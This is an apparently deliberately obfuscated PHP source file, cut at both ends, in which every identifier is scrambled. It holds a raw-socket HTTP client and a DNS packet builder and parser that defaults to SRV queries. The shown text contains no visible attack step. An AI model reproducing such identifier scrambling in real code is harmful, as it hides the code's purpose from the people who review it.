zmqywmyt('Unable to set the connection timeout'); } $this->ytgndqyn = array( $odzkzdfj, $mdyyzdhh ); } } public function ztfkmgmy($ymziywyy, $mmmzdymg, $mgeztlkz = '1.1', $mjzinddl = array(), $mdiwodnm = '') { if (!$this->zmiztzmm) { throw new zmqywmyt('Trying to write but we are not connected'); } $odzkzdfj = $mmmzdymg->ymuynjmt(); $odzkzdfj = (strtolower($mmmzdymg->nmzizdhj()) == 'https' ? $this->numtbint['ssltransport'] : 'tcp') . '://' . $odzkzdfj; if ($this->ytgndqyn[0] != $odzkzdfj || $this->ytgndqyn[1] != $mmmzdymg->zwimjiyj()) { throw new zmqywmyt('Trying to write but we are connected to the wrong host'); } $this->ymziywyy = $ymziywyy; $mzemgvjz = $mmmzdymg->ymmxmtli(); if ($mmmzdymg->mjknmqwy()) $mzemgvjz .= '?' . $mmmzdymg->mjknmqwy(); $mdgztiyj = "{$ymziywyy} {$mzemgvjz} HTTP/{$mgeztlkz}
"; foreach ($mjzinddl as $mtnmymqo => $nezogqyj) { if (is_string($mtnmymqo)) $nezogqyj = ucfirst($mtnmymqo) . ": $nezogqyj"; $mdgztiyj .= "$nezogqyj
"; } if (is_resource($mdiwodnm)) { $mdgztiyj .= "
"; } else { $mdgztiyj .= "
" . $mdiwodnm; } if (!@fwrite($this->zmiztzmm, $mdgztiyj)) { throw new zmqywmyt('Error writing request to server'); } if (is_resource($mdiwodnm)) { if (stream_copy_to_stream($mdiwodnm, $this->zmiztzmm) == 0) { throw new zmqywmyt('Error writing request to server'); } } return $mdgztiyj; } public function ytdhzmrk() { $mgvjnmqx = ''; $zjayowym = false; while (($mjyzjmyf = @fgets($this->zmiztzmm)) !== false) { $zjayowym = $zjayowym || (strpos($mjyzjmyf, 'HTTP') !== false); if ($zjayowym) { $mgvjnmqx .= $mjyzjmyf; if (rtrim($mjyzjmyf) === '') break; } } $this->yjiodlkz(); $yzqytlmn = ndyztune::zjmxzwfm($mgvjnmqx); if ($yzqytlmn == 100 || $yzqytlmn == 101) { return $this->ytdhzmrk(); } $mjzinddl = ndyztune::ytzhnumt($mgvjnmqx); if ($yzqytlmn == 304 || $yzqytlmn == 204) { if (isset($mjzinddl['connection']) && $mjzinddl['connection'] == 'close') { $this->zgezodgm(); } return $mgvjnmqx; } if (isset($mjzinddl['transfer-encoding'])) { if (strtolower($mjzinddl['transfer-encoding']) == 'chunked') { do { $mjyzjmyf = @fgets($this->zmiztzmm); $this->yjiodlkz(); $nzhjnund = $mjyzjmyf; $zwmwyjrk = trim($mjyzjmyf); if (!ctype_xdigit($zwmwyjrk)) { $this->zgezodgm(); throw new zmqywmyt('Invalid chunk size "' . $zwmwyjrk . '" unable to read chunked body'); } $zwmwyjrk = hexdec($zwmwyjrk); $ndgymvlo = ftell($this->zmiztzmm) + $zwmwyjrk; do { $mtrmzwnh = ftell($this->zmiztzmm); if ($mtrmzwnh >= $ndgymvlo) break; $mjyzjmyf = @fread($this->zmiztzmm, $ndgymvlo - $mtrmzwnh); if ($mjyzjmyf === false || strlen($mjyzjmyf) === 0) { $this->yjiodlkz(); break; } $nzhjnund .= $mjyzjmyf; } while (!feof($this->zmiztzmm)); $nzhjnund .= @fgets($this->zmiztzmm); $this->yjiodlkz(); $mgvjnmqx .= $nzhjnund; } while ($zwmwyjrk > 0); } else { $this->zgezodgm(); throw new zmqywmyt('Cannot handle "' . $mjzinddl['transfer-encoding'] . '" transfer encoding'); } } elseif (isset($mjzinddl['content-length'])) { if (is_array($mjzinddl['content-length'])) { $ngrjodqx = $mjzinddl['content-length'][count($mjzinddl['content-length']) - 1]; } else { $ngrjodqx = $mjzinddl['content-length']; } $mtrmzwnh = ftell($this->zmiztzmm); $nzhjnund = ''; for ($ndgymvlo = $mtrmzwnh + $ngrjodqx; $ndgymvlo > $mtrmzwnh; $mtrmzwnh = ftell($this->zmiztzmm)) { $nzhjnund = @fread($this->zmiztzmm, $ndgymvlo - $mtrmzwnh); if ($nzhjnund === false || strlen($nzhjnund) === 0) { $this->yjiodlkz(); break; } $mgvjnmqx .= $nzhjnund; if (feof($this->zmiztzmm)) { break; } } } else { do { $yzuxnmzh = @fread($this->zmiztzmm, 8192); if ($yzuxnmzh === false || strlen($yzuxnmzh) === 0) { $this->yjiodlkz(); break; } else { $mgvjnmqx .= $yzuxnmzh; } } while (feof($this->zmiztzmm) === false); $this->zgezodgm(); } if (isset($mjzinddl['connection']) && $mjzinddl['connection'] == 'close') { $this->zgezodgm(); } return $mgvjnmqx; } public function zgezodgm() { if (is_resource($this->zmiztzmm)) { @fclose($this->zmiztzmm); } $this->zmiztzmm = null; $this->ytgndqyn = array( null, null ); } protected function yjiodlkz() { if ($this->zmiztzmm) { $ntlizdbh = stream_get_meta_data($this->zmiztzmm); $ywemzkng = $ntlizdbh['timed_out']; if ($ywemzkng) { $this->zgezodgm(); throw new zmqywmyt("Read timed out after {$this->numtbint['timeout']} seconds"); } } } public function __destruct() { if (!$this->numtbint['persistent'] && $this->zmiztzmm) { $this->zgezodgm(); } } } class nznlyzbj { public $oddlytvk; public $nduyzmex; public $yzzjngio; public $ztbjotaz; public $zdyxztmz; public $owymtkzd; public $zmiyyjll; public $mzkzgyzj; public $ngflyjen; public $mdmnzcmt; public $mezjcymm; public $nwyowmod; public $ztdlymmx; public $ndyngixm; public $owmyodez; public function __construct(zgzjytzl $ndrmmtkn = null) { if (!is_null($ndrmmtkn)) { $this->njvjmtbk($ndrmmtkn); } else { $this->oddlytvk = $this->mtywndqn(); $this->nduyzmex = zjkotcnz::ntcxmwey; $this->yzzjngio = zjkotcnz::ogyywimm; $this->ztbjotaz = 0; $this->zdyxztmz = 0; $this->owymtkzd = 1; $this->zmiyyjll = 0; $this->mzkzgyzj = 0; $this->ngflyjen = 0; $this->mdmnzcmt = 0; $this->mezjcymm = zjkotcnz::mjjiyjrh; $this->nwyowmod = 1; $this->ztdlymmx = 0; $this->ndyngixm = 0; $this->owmyodez = 0; } } public function mtywndqn() { if (++zjkotcnz::$zmfkndew > 65535) { zjkotcnz::$zmfkndew = 1; } return zjkotcnz::$zmfkndew; } public function __toString() { $mtayowqn = ";;
;; Header:
"; $mtayowqn .= ";;	 id         = " . $this->oddlytvk . "
"; $mtayowqn .= ";;	 qr         = " . $this->nduyzmex . "
"; $mtayowqn .= ";;	 opcode     = " . $this->yzzjngio . "
"; $mtayowqn .= ";;	 aa         = " . $this->ztbjotaz . "
"; $mtayowqn .= ";;	 tc         = " . $this->zdyxztmz . "
"; $mtayowqn .= ";;	 rd         = " . $this->owymtkzd . "
"; $mtayowqn .= ";;	 ra         = " . $this->zmiyyjll . "
"; $mtayowqn .= ";;	 z          = " . $this->mzkzgyzj . "
"; $mtayowqn .= ";;	 ad         = " . $this->ngflyjen . "
"; $mtayowqn .= ";;	 cd         = " . $this->mdmnzcmt . "
"; $mtayowqn .= ";;	 rcode      = " . $this->mezjcymm . "
"; $mtayowqn .= ";;	 qdcount    = " . $this->nwyowmod . "
"; $mtayowqn .= ";;	 ancount    = " . $this->ztdlymmx . "
"; $mtayowqn .= ";;	 nscount    = " . $this->ndyngixm . "
"; $mtayowqn .= ";;	 arcount    = " . $this->owmyodez . "
"; return $mtayowqn; } public function njvjmtbk(zgzjytzl $ndrmmtkn) { if ($ndrmmtkn->yzjkyznm < zjkotcnz::odvlnyyy) { throw new yzaytczd('invalid header data provided; to small', zjkotcnz::ztflmwqx); } $ntnhnjew = 0; $this->oddlytvk = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); ++$ntnhnjew; $this->nduyzmex = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 7) & 0x1; $this->yzzjngio = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 3) & 0xf; $this->ztbjotaz = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 2) & 0x1; $this->zdyxztmz = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 1) & 0x1; $this->owymtkzd = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) & 0x1; ++$ntnhnjew; $this->zmiyyjll = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 7) & 0x1; $this->mzkzgyzj = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 6) & 0x1; $this->ngflyjen = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 5) & 0x1; $this->mdmnzcmt = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 4) & 0x1; $this->mezjcymm = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) & 0xf; $this->nwyowmod = ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); $this->ztdlymmx = ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); $this->ndyngixm = ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); $this->owmyodez = ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); $ndrmmtkn->ntnhnjew += zjkotcnz::odvlnyyy; return true; } public function nzgzotiz(zgzjytzl $ndrmmtkn) { $yteyzlhy = pack('n', $this->oddlytvk) . chr(($this->nduyzmex << 7) | ($this->yzzjngio << 3) | ($this->ztbjotaz << 2) | ($this->zdyxztmz << 1) | ($this->owymtkzd)) . chr(($this->zmiyyjll << 7) | ($this->ngflyjen << 5) | ($this->mdmnzcmt << 4) | $this->mezjcymm) . chr($this->nwyowmod << 8) . chr($this->nwyowmod) . chr($this->ztdlymmx << 8) . chr($this->ztdlymmx) . chr($this->ndyngixm << 8) . chr($this->ndyngixm) . chr($this->owmyodez << 8) . chr($this->owmyodez); $ndrmmtkn->ntnhnjew += zjkotcnz::odvlnyyy; return $yteyzlhy; } } class otqwmeyz { public $mtllngvm; public $otqyogew; public $nzaodmod; public function __construct(zgzjytzl $ndrmmtkn = null) { if (!is_null($ndrmmtkn)) { $this->njvjmtbk($ndrmmtkn); } else { $this->mtllngvm = ''; $this->otqyogew = 'SRV'; $this->nzaodmod = 'IN'; } } public function __toString() { return ";;
;; Question:
;;	 " . $this->mtllngvm . '. ' . $this->otqyogew . ' ' . $this->nzaodmod . "
"; } public function njvjmtbk(zgzjytzl $ndrmmtkn) { $this->mtllngvm = zgzjytzl::mgjmmdrl($ndrmmtkn, $ndrmmtkn->ntnhnjew); if ($ndrmmtkn->yzjkyznm < ($ndrmmtkn->ntnhnjew + 4)) { throw new yzaytczd('invalid question section: to small', zjkotcnz::mjenznky); } $zdbhmuzj = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $ogqnjdiz = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $ztizymzl = @zjkotcnz::$ztvizdqy[$zdbhmuzj]; $ntczgqzo = @zjkotcnz::$nmrlnwnh[$ogqnjdiz]; if ((!isset($ztizymzl)) || (!isset($ntczgqzo))) { throw new yzaytczd('invalid question section: invalid type (' . $zdbhmuzj . ') or class (' . $ogqnjdiz . ') specified.', zjkotcnz::mjenznky); } $this->otqyogew = $ztizymzl; $this->nzaodmod = $ntczgqzo; return true; } public function nzgzotiz(zgzjytzl $ndrmmtkn) { $zdbhmuzj = zjkotcnz::$ndnhzdez[$this->otqyogew]; $ogqnjdiz = zjkotcnz::$ntuowzky[$this->nzaodmod]; if ((!isset($zdbhmuzj)) || (!isset($ogqnjdiz))) { throw new yzaytczd('invalid question section: invalid type (' . $this->otqyogew . ') or class (' . $this->nzaodmod . ') specified.', zjkotcnz::mjenznky); } $yteyzlhy = $ndrmmtkn->odlknmji($this->mtllngvm, $ndrmmtkn->ntnhnjew); $yteyzlhy .= chr($zdbhmuzj << 8) . chr($zdbhmuzj) . chr($ogqnjdiz << 8) . chr($ogqnjdiz); $ndrmmtkn->ntnhnjew += 4; return $yteyzlhy; } } class yzaytczd extends Exception { } abstract class mmyzjdmz { public $nmflotkn; public $zdbhmuzj; public $ogqnjdiz; public $mmuzmzin; public $yzjkyznm; public $ytfjytjl; abstract protected function mzvhmind(); abstract protected function ytvhnwiy(array $ytfjytjl); abstract protected function mzmyzdri(zgzjytzl $ndrmmtkn); abstract protected function mzqxotcw(zgzjytzl $ndrmmtkn); public function __construct(zgzjytzl $ndrmmtkn = null, array $odqzyjhy = null) { if ((!is_null($ndrmmtkn)) && (!is_null($odqzyjhy))) { if ($this->njvjmtbk($ndrmmtkn, $odqzyjhy) == false) { throw new yzaytczd('failed to generate resource record', zjkotcnz::ymeymqyt); } } else { $ogqnjdiz = zjkotcnz::$mgjhnixn[get_class($this)]; if (isset($ogqnjdiz)) { $this->zdbhmuzj = zjkotcnz::$ztvizdqy[$ogqnjdiz]; } $this->ogqnjdiz = 'IN'; $this->mmuzmzin = 86400; } } public function __toString() { return $this->nmflotkn . '. ' . $this->mmuzmzin . ' ' . $this->ogqnjdiz . ' ' . $this->zdbhmuzj . ' ' . $this->mzvhmind(); } protected function njjnjlhy($zwnimjuy) { return '"' . str_replace('"', '\"', trim($zwnimjuy, '"')) . '"'; } protected function mjiznmew(array $nuwnzhjo) { $yteyzlhy = array(); $odrhnteo = 0; $ywyxmgvm = false; foreach ($nuwnzhjo as $ngrjnmzw) { $ngrjnmzw = trim($ngrjnmzw); if (strlen($ngrjnmzw) == 0) { continue; } if (($ngrjnmzw[0] == '"') && ($ngrjnmzw[strlen($ngrjnmzw) - 1] == '"') && ($ngrjnmzw[strlen($ngrjnmzw) - 2] != '\')) { $yteyzlhy[$odrhnteo] = $ngrjnmzw; ++$odrhnteo; $ywyxmgvm = false; } else if ($ngrjnmzw[0] == '"') { $yteyzlhy[$odrhnteo] = $ngrjnmzw; $ywyxmgvm = true; } else if (($ngrjnmzw[strlen($ngrjnmzw) - 1] == '"') && ($ngrjnmzw[strlen($ngrjnmzw) - 2] != '\')) { $yteyzlhy[$odrhnteo] .= ' ' . $ngrjnmzw; ++$odrhnteo; $ywyxmgvm = false; } else { if ($ywyxmgvm == true) { $yteyzlhy[$odrhnteo] .= ' ' . $ngrjnmzw; } else { $yteyzlhy[$odrhnteo++] = $ngrjnmzw; } } } foreach ($yteyzlhy as $ztumgnkz => $zwnimjuy) { $yteyzlhy[$ztumgnkz] = str_replace('\"', '"', trim($zwnimjuy, '"')); } return $yteyzlhy; } public function njvjmtbk(zgzjytzl $ndrmmtkn, array $odqzyjhy) { $this->nmflotkn = $odqzyjhy['name']; $this->zdbhmuzj = zjkotcnz::$ztvizdqy[$odqzyjhy['type']]; if ($this->zdbhmuzj == 'OPT') { $this->ogqnjdiz = $odqzyjhy['class']; } else { $this->ogqnjdiz = zjkotcnz::$nmrlnwnh[$odqzyjhy['class']]; } $this->mmuzmzin = $odqzyjhy['ttl']; $this->yzjkyznm = $odqzyjhy['rdlength']; $this->ytfjytjl = substr($ndrmmtkn->ytfjytjl, $ndrmmtkn->ntnhnjew, $odqzyjhy['rdlength']); return $this->mzmyzdri($ndrmmtkn); } public function nzgzotiz(zgzjytzl $ndrmmtkn) { $ytfjytjl = ''; $yteyzlhy = $ndrmmtkn->odlknmji($this->nmflotkn, $ndrmmtkn->ntnhnjew); if ($this->zdbhmuzj == 'OPT') { $this->preBuild(); $yteyzlhy .= pack('nnN', zjkotcnz::$ndnhzdez[$this->zdbhmuzj], $this->ogqnjdiz, $this->mmuzmzin); } else { $yteyzlhy .= pack('nnN', zjkotcnz::$ndnhzdez[$this->zdbhmuzj], zjkotcnz::$ntuowzky[$this->ogqnjdiz], $this->mmuzmzin); } $ndrmmtkn->ntnhnjew += 10; if ($this->yzjkyznm != -1) { $ytfjytjl = $this->mzqxotcw($ndrmmtkn); } $yteyzlhy .= pack('n', strlen($ytfjytjl)) . $ytfjytjl; return $yteyzlhy; } public static function odlhzgqy(zgzjytzl $ndrmmtkn) { $mtyxntmw = array(); $mtyxntmw['name'] = zgzjytzl::mgjmmdrl($ndrmmtkn, $ndrmmtkn->ntnhnjew); if (is_null($mtyxntmw['name'])) { throw new yzaytczd('failed to parse resource record: failed to expand name.', zjkotcnz::odemwjln); } if ($ndrmmtkn->yzjkyznm < ($ndrmmtkn->ntnhnjew + 10)) { throw new yzaytczd('failed to parse resource record: packet too small.', zjkotcnz::odemwjln); } $mtyxntmw['type'] = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $mtyxntmw['class'] = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $mtyxntmw['ttl'] = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 24 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 16 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $mtyxntmw['rdlength'] = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); if ($ndrmmtkn->yzjkyznm < ($ndrmmtkn->ntnhnjew + $mtyxntmw['rdlength'])) { return null; } $nemwfmmu = null; $ogqnjdiz = zjkotcnz::$yzuotcnw[$mtyxntmw['type']]; if (isset($ogqnjdiz)) { $nemwfmmu = new $ogqnjdiz($ndrmmtkn, $mtyxntmw); if ($nemwfmmu) { $ndrmmtkn->ntnhnjew += $mtyxntmw['rdlength']; } } else { throw new yzaytczd('un-implemented resource record type: ' . $mtyxntmw['type'], zjkotcnz::ymeymqyt); } return $nemwfmmu; } public function mdnkyzdm($yteyzlhy) { return strtolower(rtrim($yteyzlhy, '.')); } public static function yjqynwqy($mjyzjmyf) { if (strlen($mjyzjmyf) == 0) { throw new yzaytczd('empty config line provided.', zjkotcnz::odemwjln); } $nmflotkn = ''; $zdbhmuzj = ''; $ogqnjdiz = 'IN'; $mmuzmzin = 86400; $mdqyjbjy = preg_split('/[\s]+/', $mjyzjmyf); if (count($mdqyjbjy) < 3) { throw new yzaytczd('failed to parse config: minimum of name, type and rdata required.', zjkotcnz::odemwjln); } $nmflotkn = trim(strtolower(array_shift($mdqyjbjy)), '.'); foreach ($mdqyjbjy as $zjmyyjyy) { switch ($zjmyyjyy) { case is_numeric($zjmyyjyy): $mmuzmzin = array_shift($mdqyjbjy); break; case ($zjmyyjyy === 0): $mmuzmzin = array_shift($mdqyjbjy); break; case isset(zjkotcnz::$ntuowzky[strtoupper($zjmyyjyy)]): $ogqnjdiz = strtoupper(array_shift($mdqyjbjy)); break; case isset(zjkotcnz::$ndnhzdez[strtoupper($zjmyyjyy)]): $zdbhmuzj = strtoupper(array_shift($mdqyjbjy)); break 2; break; default: throw new yzaytczd('invalid config line provided: unknown file: ' . $zjmyyjyy, zjkotcnz::odemwjln); } } $nemwfmmu = null; $ntczgqzo = zjkotcnz::$yzuotcnw[zjkotcnz::$ndnhzdez[$zdbhmuzj]]; if (isset($ntczgqzo)) { $nemwfmmu = new $ntczgqzo; if (!is_null($nemwfmmu)) { $nemwfmmu->nmflotkn = $nmflotkn; $nemwfmmu->ogqnjdiz = $ogqnjdiz; $nemwfmmu->mmuzmzin = $mmuzmzin; if ($nemwfmmu->ytvhnwiy($mdqyjbjy) === false) { throw new yzaytczd('failed to parse rdata for config: ' . $mjyzjmyf, zjkotcnz::odemwjln); } } else { throw new yzaytczd('failed to create new RR record for type: ' . $zdbhmuzj, zjkotcnz::ymeymqyt); } } else { throw new yzaytczd('un-implemented resource record type: ' . $zdbhmuzj, zjkotcnz::ymeymqyt); } return $nemwfmmu; } } class yzjimtbj extends mmyzjdmz { public $mzmntgnv; public $ywzlmdqn; public $mdyyzdhh; public $mguytnhz; protected function mzvhmind() { return $this->mzmntgnv . ' ' . $this->ywzlmdqn . ' ' . $this->mdyyzdhh . ' ' . $this->mdnkyzdm($this->mguytnhz) . '.'; } protected function ytvhnwiy(array $ytfjytjl) { $this->mzmntgnv = $ytfjytjl[0]; $this->ywzlmdqn = $ytfjytjl[1]; $this->mdyyzdhh = $ytfjytjl[2]; $this->mguytnhz = $this->mdnkyzdm($ytfjytjl[3]); return true; } protected function mzmyzdri(zgzjytzl $ndrmmtkn) { if ($this->yzjkyznm > 0) { $mtfmnmfk = unpack('npriority/nweight/nport', $this->ytfjytjl); $this->mzmntgnv = $mtfmnmfk['priority']; $this->ywzlmdqn = $mtfmnmfk['weight']; $this->mdyyzdhh = $mtfmnmfk['port']; $ntnhnjew = $ndrmmtkn->ntnhnjew + 6; $this->mguytnhz = zgzjytzl::mgjmmdrl($ndrmmtkn, $ntnhnjew); return true; } return false; } protected function mzqxotcw(zgzjytzl $ndrmmtkn) { if (strlen($this->mguytnhz) > 0) { $yteyzlhy = pack('nnn', $this->mzmntgnv, $this->ywzlmdqn, $this->mdyyzdhh); $ndrmmtkn->ntnhnjew += 6; $yteyzlhy .= $ndrmmtkn->odlknmji($this->mguytnhz, $ndrmmtkn->ntnhnjew); return $yteyzlhy; } return null; } } class zgzjytzl { public $ytfjytjl; public $yzjkyznm; public $ntnhnjew = 0; public $ntkzmqxn; public $miyymuyz = array(); public $mjvkyzim = array(); public $njzmnwmn = array(); public $mjamtinz = array(); private $zmzindzk = array(); public function __toString() { $mtayowqn = $this->ntkzmqxn->__toString(); foreach ($this->miyymuyz as $mtfmnmfk) { $mtayowqn .= $mtfmnmfk->__toString() . "
"; } foreach ($this->mjvkyzim as $mtfmnmfk) { $mtayowqn .= $mtfmnmfk->__toString() . "
"; } foreach ($this->njzmnwmn as $mtfmnmfk) { $mtayowqn .= $mtfmnmfk->__toString() . "
"; } foreach ($this->mjamtinz as $mtfmnmfk) { $mtayowqn .= $mtfmnmfk->__toString() . "
"; } return $mtayowqn; } public function nzgzotiz() { $yteyzlhy = $this->ntkzmqxn->nzgzotiz($this); foreach ($this->miyymuyz as $mtfmnmfk) { $yteyzlhy .= $mtfmnmfk->nzgzotiz($this); } foreach ($this->mjvkyzim as $mtfmnmfk) { $yteyzlhy .= $mtfmnmfk->nzgzotiz($this); } foreach ($this->njzmnwmn as $mtfmnmfk) { $yteyzlhy .= $mtfmnmfk->nzgzotiz($this); } foreach ($this->mjamtinz as $mtfmnmfk) { $yteyzlhy .= $mtfmnmfk->nzgzotiz($this); } return $yteyzlhy; } public function odlknmji($nmflotkn, &$ntnhnjew) { $mjmytqmt = explode('.', $nmflotkn); $memjuzwq = ''; while (!empty($mjmytqmt)) { $ngunmrjz = join('.', $mjmytqmt); if (isset($this->zmzindzk[$ngunmrjz])) { $memjuzwq .= pack('n', 0xc000 | $this->zmzindzk[$ngunmrjz]); $ntnhnjew += 2; break; } $this->zmzindzk[$ngunmrjz] = $ntnhnjew; $ztaotzhm = array_shift($mjmytqmt); $mqndkmym = strlen($ztaotzhm); if ($mqndkmym <= 0) { continue; } if ($mqndkmym > 63) { $mqndkmym = 63; $ztaotzhm = substr($ztaotzhm, 0, $mqndkmym); } $memjuzwq .= pack('Ca*', $mqndkmym, $ztaotzhm); $ntnhnjew += $mqndkmym + 1; } if (empty($mjmytqmt)) { $memjuzwq .= pack('C', 0); $ntnhnjew++; } return $memjuzwq; } public static function nmfjzdyy($nmflotkn) { $ntnhnjew = 0; $mjmytqmt = explode('.', $nmflotkn); $memjuzwq = ''; while (!empty($mjmytqmt)) { $ztaotzhm = array_shift($mjmytqmt); $mqndkmym = strlen($ztaotzhm); $memjuzwq .= pack('Ca*', $mqndkmym, $ztaotzhm); $ntnhnjew += $mqndkmym + 1; } $memjuzwq .= ""; $ntnhnjew++; return $memjuzwq; } public static function mgjmmdrl(zgzjytzl $ndrmmtkn, &$ntnhnjew) { $nmflotkn = ''; while (1) { if ($ndrmmtkn->yzjkyznm < ($ntnhnjew + 1)) { return null; } $zjmyyjkz = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]); if ($zjmyyjkz == 0) { ++$ntnhnjew; break; } else if (($zjmyyjkz & 0xc0) == 0xc0) { if ($ndrmmtkn->yzjkyznm < ($ntnhnjew + 2)) { return null; } $zgfmngem = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[$ntnhnjew + 1]); $zgfmngem = $zgfmngem & 0x3fff; $mzllytgy = zgzjytzl::mgjmmdrl($ndrmmtkn, $zgfmngem); if (is_null($mzllytgy)) { return null; } $nmflotkn .= $mzllytgy; $ntnhnjew += 2; break; } else { ++$ntnhnjew; if ($ndrmmtkn->yzjkyznm < ($ntnhnjew + $zjmyyjkz)) { return null; } $zjuwogun = ''; $zjuwogun = substr($ndrmmtkn->ytfjytjl, $ntnhnjew, $zjmyyjkz); $nmflotkn .= $zjuwogun . '.'; $ntnhnjew += $zjmyyjkz; } } return trim($nmflotkn, '.'); } public static function njrjnjuz(zgzjytzl $ndrmmtkn, &$ntnhnjew) { $nmflotkn = ''; if ($ndrmmtkn->yzjkyznm < ($ntnhnjew + 1)) { return null; } $zjmyyjkz = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]); ++$ntnhnjew; if (($zjmyyjkz + $ntnhnjew) > $ndrmmtkn->yzjkyznm) { $nmflotkn = substr($ndrmmtkn->ytfjytjl, $ntnhnjew); $ntnhnjew = $ndrmmtkn->yzjkyznm; } else { $nmflotkn = substr($ndrmmtkn->ytfjytjl, $ntnhnjew, $zjmyyjkz); $ntnhnjew += $zjmyyjkz; } return $nmflotkn; } public function zjgztjlm(zgzjytzl $ndrmmtkn) { $this->ntkzmqxn = $ndrmmtkn->ntkzmqxn; $this->miyymuyz = $ndrmmtkn->miyymuyz; $this->mjvkyzim = $ndrmmtkn->mjvkyzim; $this->njzmnwmn = $ndrmmtkn->njzmnwmn; $this->mjamtinz = $ndrmmtkn->mjamtinz; return true; } public function otflzjbj() { $this->ntkzmqxn->oddlytvk = $this->ntkzmqxn->mtywndqn(); $this->ytfjytjl = ''; $this->yzjkyznm = 0; $this->ntnhnjew = 0; $this->mjvkyzim = array(); $this->njzmnwmn = array(); $this->mjamtinz = array(); $this->zmzindzk = array(); return true; } public static function mjbizjhk($yzymjemd) { return nzazowrh::nemtgmjn($yzymjemd); } } class owiwmtyy extends zgzjytzl { public $mmmxnjky; public function __construct($yteyzlhy, $odkznjhl) { $this->njvjmtbk($yteyzlhy, $odkznjhl); } public function njvjmtbk($yteyzlhy, $odkznjhl) { $this->ytfjytjl = $yteyzlhy; $this->yzjkyznm = $odkznjhl; $this->ntkzmqxn = new nznlyzbj($this); if ($this->ntkzmqxn->zdyxztmz == 1) { return false; } for ($mtfmnmfk = 0; $mtfmnmfk < $this->ntkzmqxn->nwyowmod; ++$mtfmnmfk) { $this->miyymuyz[$mtfmnmfk] = new otqwmeyz($this); } for ($mtfmnmfk = 0; $mtfmnmfk < $this->ntkzmqxn->ztdlymmx; ++$mtfmnmfk) { $nemwfmmu = mmyzjdmz::odlhzgqy($this); if (!is_null($nemwfmmu)) { $this->mjvkyzim[] = $nemwfmmu; } } return true; } } class mdcmjaog extends zgzjytzl { public function __construct($nmflotkn, $zdbhmuzj = null, $ogqnjdiz = null) { $this->njvjmtbk($nmflotkn, $zdbhmuzj, $ogqnjdiz); } public function njvjmtbk($nmflotkn, $zdbhmuzj = 'A', $ogqnjdiz = 'IN') { $this->ntkzmqxn = new nznlyzbj; $mjjlytfj = new otqwmeyz(); $nmflotkn = trim(strtolower($nmflotkn), " 	

."); $zdbhmuzj = strtoupper(trim($zdbhmuzj)); $ogqnjdiz = strtoupper(trim($ogqnjdiz)); if (empty($nmflotkn)) { throw new yzaytczd('empty query string provided', zjkotcnz::ztlmmziy); } if ((!isset(zjkotcnz::$ndnhzdez[$zdbhmuzj])) || (!isset(zjkotcnz::$ntuowzky[$ogqnjdiz]))) { throw new yzaytczd('invalid type (' . $zdbhmuzj . ') or class (' . $ogqnjdiz . ') specified.', zjkotcnz::ztlmmziy); } $mjjlytfj->mtllngvm = $nmflotkn; $mjjlytfj->otqyogew = $zdbhmuzj; $mjjlytfj->nzaodmod = $ogqnjdiz; $this->miyymuyz[] = $mjjlytfj; $this->mjvkyzim = array(); $this->njzmnwmn = array(); $this->mjamtinz = array(); return true; } } zjkotcnz::$zmfkndew = mt_rand(0, 65535); zjkotcnz::$ztvizdqy = array_flip(zjkotcnz::$ndnhzdez); zjkotcnz::$nmrlnwnh = array_flip(zjkotcnz::$ntuowzky); zjkotcnz::$mgjhnixn = array_flip(zjkotcnz::$yzuotcnw); class zjkotcnz { const odvlnyyy = 12; const zwunzbmm = 512; const ntcxmwey = 0; const otrknzkn = 1; const ogyywimm = 0; const yjgyznjm = 1; const otiznflz = 3; const zmeotgyf = 4; const oduwndiz = 254; const njewzdgw = 255; const mjjiyjrh = 0; const mtuwowmw = 1; const mjllyzay = 2; const yzdhymjl = 3; const yfiymmmj = 4; const mdzlnqyj = 5; const zdyotczg = 6; const zgfknzuy = 7; const ytjjnjcz = 8; const odlimmyy = 9; const ndymtjiz = 10; const oteyzdun = 16; const mdrlmtcx = 17; const ntkmmewo = 18; const ytzjytem = 19; const yzfimwfh = 20; const yjgmwiym = 21; const ytmntmzo = 22; const 